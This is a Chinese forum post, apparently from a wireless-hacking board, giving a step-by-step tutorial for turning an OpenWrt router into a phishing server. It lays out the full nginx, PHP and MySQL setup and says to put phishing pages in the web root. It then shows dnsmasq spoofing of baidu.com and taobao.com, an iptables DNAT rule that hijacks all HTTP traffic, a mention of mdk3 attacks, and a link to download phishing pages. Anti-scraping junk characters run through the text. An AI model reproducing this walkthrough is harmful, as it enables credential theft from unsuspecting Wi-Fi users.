上校
- 注册时间
- 2009-10-11
- 金币
- 14196 个
- 威望
- 2 个
- 荣誉
- 1 个
累计签到:1700 天 连续签到:1 天 [LV.1825]无线元老
|
本帖最后由 476867546 于 2016-3-10 17:33 编辑 % P6 I1 h* r' n0 ~0 L
$ [/ q5 m% S8 ?/ A. | Openwrt 无线路由器搭建php服务器实现钓鱼.5 z; C& }8 j ~ g5 Z$ k
本人也是小白,都是在网上找的资料.已成功搭建钓鱼环境,现分享给大家.教程只演示不带USB口的.#无线路由器刷Openwrt要求16M闪存.带USB接口或不带都行(带的网址放U盘里.不带的放路由器目录里)
5 e( h0 g1 @8 X& J& g0 d" q' ?
8 g5 f# j) y' M/ A7 _/ [准备工作:
- _) }* c' U5 }6 x7 I5 p8 l1 x$ JwinSCP连接路由在/www下建立一个sda/www文件夹
4 v' Y8 U# R- B* w& h- m8 [: v" O$ a! i6 Y# m
1.安装nginx+php+mysql
/ {6 h' g) q: H. R- k
0 I3 P. P6 S. `$ m1 A2 z' |进路由里修改openwrt安装源如下:
3 l" F; F& \& R# y7 `0 Wdest root /
6 T8 K% a2 M8 d5 ]( U' a, Xdest ram /tmp
" {$ K/ e8 O3 C9 llists_dir ext /var/opkg-lists
: U5 g( ?0 ?" O* f8 f7 J9 m6 Foption overlay_root /overlay
# v7 {$ D) M3 c5 x# tsrc/gz chaos_calmer_base http://downloads.openwrt.org/cha ... neric/packages/base
: w- B& a' _2 G7 R6 B5 zsrc/gz chaos_calmer_packages http://downloads.openwrt.org/cha ... c/packages/packages( x% z8 N' \8 k4 z' i
src/gz chaos_calmer_routing http://downloads.openwrt.org/cha ... ic/packages/routing
3 w( p( ]7 K. o9 B$ dsrc/gz chaos_calmer_telephony http://downloads.openwrt.org/cha ... /packages/telephony
, l. k% v, T6 `" \src/gz chaos_calmer_management http://downloads.openwrt.org/cha ... packages/management" U. C% a5 _- k+ e: G: H- b
打开putty终端更新并安装软件.2 D% t+ v5 _, V9 B7 ~
opkg update
6 d( c {: U/ ~; R/ F9 lopkg install php5 php5-mod-gd php5-mod-session php5-mod-pdo php5-mod-pdo-mysql php5-mod-mysql php5-mod-mcrypt php5-mod-mbstring php5-fastcgi php5-cgi php5-mod-xml php5-mod-ctype php5-mod-curl php5-mod-exif php5-mod-ftp php5-mod-iconv php5-mod-json php5-mod-sockets php5-mod-sqlite3 php5-mod-tokenizer php5-mod-zip! ^2 I9 j7 `0 b5 x( x6 P. O! G
3 q1 N8 x- ~! N/ S- f4 Aopkg install mysql-server
2 u5 }& x) t* T1 m
, G/ p& i! N7 r4 p5 q' Dopkg install nginx spawn-fcgi zoneinfo-core zoneinfo-asia
# @. o: w/ `: K6 V# E" z8 K' D5 y, z; }1 I! P& G/ v
opkg install shadow-groupadd shadow-useradd* r; `1 I: j* g1 T, y
: B: ^" b( r7 ugroupadd www
7 w% q/ X9 w' k9 D m
8 |) Q% z. |7 d8 Ruseradd -g www www; r2 H) V. ?5 S4 X+ C, W" d
3 C5 H7 S3 B5 f- Z4 \
chown -R www:www /www/sda/www重启!
& u' E7 P$ r- |. _! h, m% i1 z+ w* y4 xwinSCP连接路由修改/etc/my.cnf(改掉这两段)5 L8 j5 w4 S( p* Z/ p( t
datadir = /www/sda/data/mysql/$ W' G4 R8 P% [" I
tmpdir = /www/sda/data/tmp/
+ P h9 l% J2 P. ~+ R
0 r" H: x9 I3 s) Q+ C% b
$ u7 T3 ?0 E7 C; u1 X创建数据库文件夹0 G" Z* C. n8 b0 ?. {- h3 i
mkdir -p /www/sda/data /www/sda/data/mysql /www/sda/data/tmp
' \& [& O" v/ h. G, j: \
& x- ]* C9 v/ g- C. H创建默认的数据库& \; Y: Y: {& Q
/usr/bin/mysql_install_db --force
7 M3 G# n' }) g
2 m s" @+ F# z! O' ?启动mysql
: G( h5 p% s* A/ T( Y/etc/init.d/mysqld start
" z' Z0 H# H7 a# R( q输入如下命令创建mysql的密码
/ x% G! R8 f& H/ L& y/ ]& [/usr/bin/mysqladmin -u root password 123456
) @4 z5 S: Q$ O m0 x, H( ?登陆数据库
2 f1 z* c0 `, N/ z2 Amysql -u root -p, m5 b( B% P- |. `0 c
2 B6 m* x% N, F9 x; }1 n$ S
修改/etc/nginx/nginx.conf
+ C% y& W+ u; zuser www www;% A+ P# m( u9 h [4 A, g# h K
worker_processes 1;
; {' I+ @( S+ |1 k- D8 ypid /var/run/nginx.pid;+ H' @5 I( u: K3 n' A5 D/ g( I
error_log /var/log/nginx_error.log;/ Y1 K! a4 m- H: h4 g# E4 W
events {& d" Y# B9 m1 D# f
use epoll;
2 Y1 F; a$ N e worker_connections 1024;) ~" q8 g9 T2 H$ v4 G5 x
} {3 {1 P0 Z) ^/ u/ p# w
6 l O4 n( U; C- T
# J3 r4 _- N2 X$ F* X5 o0 \
http {
N4 I. F" [" g& ?# n include mime.types;7 g9 @* b- z% I' W: }' X3 a
default_type application/octet-stream;
/ r: \$ H: b3 @4 p' i P sendfile on;) j+ T: P7 R. `& o6 P' W
tcp_nopush on;5 @' L# p3 a, W# v1 H* z
#keepalive_timeout 0;. h3 l+ N9 B8 T; d) ~
keepalive_timeout 65;" N* X! `1 [( Q Z
gzip on;
) }: O' n, [+ Q( h access_log off; @! m, ^# [4 e: O! L
* n! D4 C3 ]4 M0 h& r: r include vhost.conf;
6 y1 T% f8 r) g; g' z% V4 ^0 T}
5 i6 s6 u$ \7 h$ L' \( z1 y8 L2 R m( P2 \# F9 V
修改/etc/nginx/fastcgi_params: t! {1 W! d6 h Y C1 E: Z& k
if ($request_filename ~* (.*)\.php) {5 F! p2 ]6 F2 X- v! I4 a- z
set $php_url $1;
/ u, M- J6 m/ |& n# [7 j; W& K}
5 D( F( t6 S* e2 u# P$ U Nif (!-e $php_url.php) {5 h2 y! }- h, Q1 M+ m1 J
return 403;
7 g7 h6 g6 E+ U( [9 j: K! a" t}& M F' F# |, F' \& k
, j6 _6 i& v* C3 B/ g
! ^2 c* D4 [) ]fastcgi_param QUERY_STRING $query_string;5 G6 z' p; o4 g( J* G' w
fastcgi_param REQUEST_METHOD $request_method; Z8 `4 x4 g8 I* G: J6 l
fastcgi_param CONTENT_TYPE $content_type;# }$ I0 H# [$ N i- j( ^
fastcgi_param CONTENT_LENGTH $content_length;
8 `( ^+ S5 N/ s5 ~+ a6 x( b7 h7 j6 `9 o% g" u, T7 V3 m4 Z
5 Y6 ? j& S) V$ f S1 p
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
+ G6 j, [% t- g- H( q3 ~fastcgi_param REQUEST_URI $request_uri;9 l. Q8 w! `& f# W5 t* o
fastcgi_param DOCUMENT_URI $document_uri;
) I l/ ]: p0 o$ a H/ Q mfastcgi_param DOCUMENT_ROOT $document_root;
% ^7 e6 S" u9 sfastcgi_param SERVER_PROTOCOL $server_protocol;4 _" _- c$ `0 Z) |7 q9 W
3 N1 e2 I/ }( E- \) P: W
5 Z5 I$ \1 x; v0 K1 w2 s( J4 Vfastcgi_param GATEWAY_INTERFACE CGI/1.1;& R$ s* P9 T$ u4 ]7 p+ d
fastcgi_param SERVER_SOFTWARE nginx/$nginx_version;
0 @# Y. \7 g/ K7 i7 t
$ L- {& u/ [ k% u) I T8 g* v% w+ _0 N ]& c, o
fastcgi_param REMOTE_ADDR $remote_addr;; W5 @; X& h8 Y4 R1 ]& S
fastcgi_param REMOTE_PORT $remote_port;$ B+ D0 Y' ?" d
fastcgi_param SERVER_ADDR $server_addr;6 T) ]* [* d0 Q& o0 b# j @: _% O+ _
fastcgi_param SERVER_PORT $server_port;* d+ \' K; [3 v. {" ?: D2 w$ ~8 d9 z% s
fastcgi_param SERVER_NAME $server_name;
3 t$ S( [3 b! d
2 u c2 @$ M& O h. j
6 e/ O' r; o' i2 R# T# PHP only, required if PHP was built with --enable-force-cgi-redirect3 k( }* M' H3 d/ u+ u
fastcgi_param REDIRECT_STATUS 200;
' q* s/ S$ p: j7 X' L8 k( u" e2 a* C# v4 t: d5 q$ a
添加文件/etc/nginx/vhost.conf
& J6 _; b0 Q. V' vserver {# p& W2 B9 D+ v6 u
listen 8000;* {, I8 H5 P* k9 K
server_name localhost;
3 G' a5 z* r) J4 f7 [ root /www/sda/www;
! [: ?. ~/ z4 \: q/ y7 y9 S0 R index index.html index.htm index.php default.php;$ s+ u, r: G0 U6 ~' j
error_page 500 502 503 504 /50x.html;! b& h5 N* S& _+ M
% y4 `9 h9 \6 u# F1 I1 l) P n, z
& z, Q! g! h, l' c( ]2 F6 N6 r location = /50x.html {1 e1 Q0 _( z3 `
root html;
! s# X% D1 F! a1 ^0 O* W k4 ~ }
+ A. U& Y7 Z' T! v" q! _' u! L+ M6 O# b
% { s8 ?8 o% c2 Z
location ~* ^.+\.php(\/.*)*$ {: T6 W9 h W3 T0 M" P) S$ d
fastcgi_pass 127.0.0.1:9000;% _7 E$ |, p3 o. U
fastcgi_index index.php;' w9 b! `* z- x7 G6 Y
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;6 ^" j, a' g- o/ N# H
include fastcgi_params;
1 b0 ^$ u. a6 I- l8 Z$ G4 | }4 k S2 \0 m% q- L& T
}" y% U: ~) G( y9 s) j2 |. _ P
9 u9 ^0 y8 ]5 z+ ~0 l( }: X& l
修改/etc/php.ini
5 o0 m* s" r9 h' [1 Nshort_open_tag = on7 L9 x2 R) ~% a3 k
#doc_root = "/www/www" , _" z8 s) X" I ]" K
& |- ?& o8 ?0 l9 s. \' o- ~- n; v, {+ C l ~/ A" B; _
extension=ctype.so
0 w5 h& y6 w, Z3 M% Aextension=curl.so
+ \2 m- M- i4 W! K( X8 pextension=gd.so
6 m: [8 P3 K% w Y0 qextension=mbstring.so
% a9 \0 O* A' N0 b& r, Qextension=mcrypt.so
- ]! Z7 X4 G! E2 X0 Aextension=mysql.so
/ w( J: P8 r( u4 u4 v% A2 eextension=pdo.so
! s/ w+ h! |9 s3 kextension=pdo_mysql.so- e/ M5 N; G# {$ i
extension=session.so. ]% ^; P I" e4 s1 Z$ K
extension=sockets.so8 c: T- `% o6 m2 [6 |
extension=tokenizer.so9 D6 ]* U- q4 T* c( I3 Q
extension=xml.so
* c% ^% ]1 l2 q" Z- @4 t0 ?
! ]3 A4 g- z# r- \- F* W1 [& z, {3 z+ v. V- v
[Date]
* M# g! I6 |) L+ @- E3 _date.timezone = Asia/Shanghai1 C: s+ `' V% h
8 a) c+ x- j7 K+ U# O/ |& W2 |6 B, h) m
[MySQL]
+ ^; o' j: T! F3 fmysql.default_socket = /var/run/mysqld.sock ; [1 B, g4 J7 h u
9 `' S/ V7 {7 \% r
启动spawn-fcgi(开机自动运行,将命令添加到/etc/rc.local)' o x+ F( E3 |+ v. k3 U7 ~1 t- Z
/usr/bin/spawn-fcgi -a 127.0.0.1 -p 9000 -C 2 -f /usr/bin/php-cgi
# F7 K4 w/ `' \, x6 m1 G
$ H3 x3 U. k0 F8 A! Q. L! P2 J1 d启动nginx8 m3 |& J; V* E
/etc/init.d/nginx enable1 U3 }* k r9 g- Q F
/etc/init.d/nginx start) W; o5 C+ z3 x# ]0 E( W# N6 n
0 O' P$ P1 E4 K y
php服务器搭建完成重启.: |' d) j3 h3 i
把钓鱼网页放入/www/sda/www目录里.在浏览器输入192.168.1.1:8000打开页面.(能打开就成功一半了~_~ )
# _# ~( m' z$ f' X6 ]9 M5 [; p/ b
( O* w+ b* `' J# p& p
7 P7 p" J+ Y8 Q: s$ w2.网页跳转(有2种方法)# d% Z* T$ w L8 f0 m$ O
1DNS跳转6 o: c( x4 _7 t( E) ?3 S7 \
2防火墙重定向; T% x( R/ \. H+ I: s
1 dns跳转8 h0 O8 t. R8 z. e# [) {
修改etc/dnsmasq.conf(需要输入对应网址才跳转)4 ^0 p. {( t2 ~
address=/www.baidu.com/192.168.1.1
/ K& L5 S* `; q+ K! Qaddress=/www.taobao.com/192.168.1.1) T; a7 a$ t* A
2 防火墙重定向(需要联网才跳转)4 n; H3 z3 z4 z' M
修改防火墙自定义规则:/ O. g0 a2 S% e! D
iptables -t nat -A PREROUTING -p tcp -m multiport --dport 80,8080 -j DNAT --to 192.168.1.1:80
3 U5 I( c; c, n0 f最后修改/etc/nginx/vhost.conf 端口为80' x; r( ^" Y n# T" z
4 k, H" {. W9 j }! L7 N
% Y" v; h& y8 R3 i
# d9 p/ T8 Y/ }: M5 r" M3 ^2 y- I/ J1 i+ X$ K9 H8 J8 r
重启后打开baidu网页即跳转% P4 y$ W" O: n
w. q5 M$ h A* {4 C3 M9 t
& j4 y7 a6 L u$ k) ]! d8 D
. N% p0 g0 \' n3 o9 z
' x, R6 {, Z, {! U5 J& i8 b使用samba映射www文件夹查看MM
. x8 h9 }+ W6 [0 @7 R3 U( ?# R r0 d( Z; i' V/ l
有usb口就插个网卡进行mdk3.....
( u/ P- q, \9 q% X1 F" x
0 f) A1 R0 }( E3 U
8 T" x3 S0 Z, }. [
6 V$ P: R- k+ O+ m; G
$ L4 P8 J6 ]) s3 t& p( J8 o% m: M- f9 E( f% U0 X/ ]. q
5 g" \+ f* X+ M- l! H. K! ~, n8 \
# w9 a5 n1 ?+ V% A; ?/ U0 ?
$ U2 C' [/ d8 Q2 [: [! L
6 H5 R$ s5 \. I, d2 w
补充内容 (2017-6-25 20:19):" {3 U+ Z' _. k( Y- h( ?. _
钓鱼页面下载 http://pan.baidu.com/s/1o8BK7Ui" Q# [# I1 r; Y! r
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注册
x
评分
-
1
查看全部评分
-
|